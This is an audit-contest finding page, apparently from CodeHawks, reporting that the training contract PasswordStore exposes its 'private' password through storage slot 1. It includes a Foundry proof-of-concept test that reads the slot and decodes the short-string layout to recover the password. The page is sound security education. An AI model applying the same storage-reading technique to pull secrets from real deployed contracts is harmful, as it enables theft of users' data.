Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Extracting the password from the contract's storage

Summary

The password stored in the PasswordStore contract can be directly extracted through the contract's storage.

Vulnerability Details

The password is stored in the s_password variable at slot 1. Even if the s_password is declared a private variable, we can extract its content easily off-chain.

contract PasswordStore {
error PasswordStore__NotOwner();
address private s_owner;
@> string private s_password;
event SetNetPassword();
...
}

https://github.com/Cyfrin/2023-10-PasswordStore/blob/856ed94bfcf1031bf9d13514cb21b591d88ed323/src/PasswordStore.sol#L14

Proof of Concept

The following presents the PoC code. The test_hack_PasswordStore() was extended from the test_owner_can_set_password(). Therefore, the expected password would be the same ("myNewPassword").

Since "myNewPassword" is a short string (its length <= 31 bytes), Solidity will store it in the same storage slot as the string length, placing it in the higher-order bytes (left aligned). That is the higher-order bytes of the storage slot 1.

Hence, the test_hack_PasswordStore() will extract the password from slot 1 and then compare the extracted password to the expected password.

function test_hack_PasswordStore() public {
// ----- Excerpted part from the test_owner_can_set_password() -----
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
// ----- Exploitation part -----
// Read the target data stored at slot 1 from the storage of the PasswordStore contract.
bytes32 loadedData = vm.load(address(passwordStore), bytes32(uint256(1)));
// Determine if the password is a short string (length <= 31 bytes)
// or long string (length > 31 bytes) by inspecting the lowest bit.
// If the lowest bit is set, the password is a short string. Otherwise, it's a long string.
bool isShortString = (uint8(loadedData[31]) & 0x01) == 0;
// Since the expectedPassword == "myNewPassword", we know it must be a short string.
assertTrue(isShortString, "Password is a long string");
// Get the length of the password from the lowest byte.
// The length of a short string will be encoded as "length * 2".
uint256 length = uint8(loadedData[31]) / 2;
// In the case of the short string, the password will be stored in the higher-order bytes
// (left aligned). So, extract the password's elements byte by byte.
bytes memory passwdBytes = new bytes(length);
for (uint256 i = 0; i < length; i++) {
passwdBytes[i] = loadedData[i];
}
// Convert the extracted password in bytes to string.
string memory passwd = string(passwdBytes);
// The extracted password should equal the expected password.
assertEq(passwd, expectedPassword);
}

Impact

The password can be extracted from the PasswordStore contract's storage even if it would be stored in a private state variable, s_password.

Tools Used

Manual Review

Recommendations

Sensitive data like passwords should not be processed or stored on a public blockchain.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.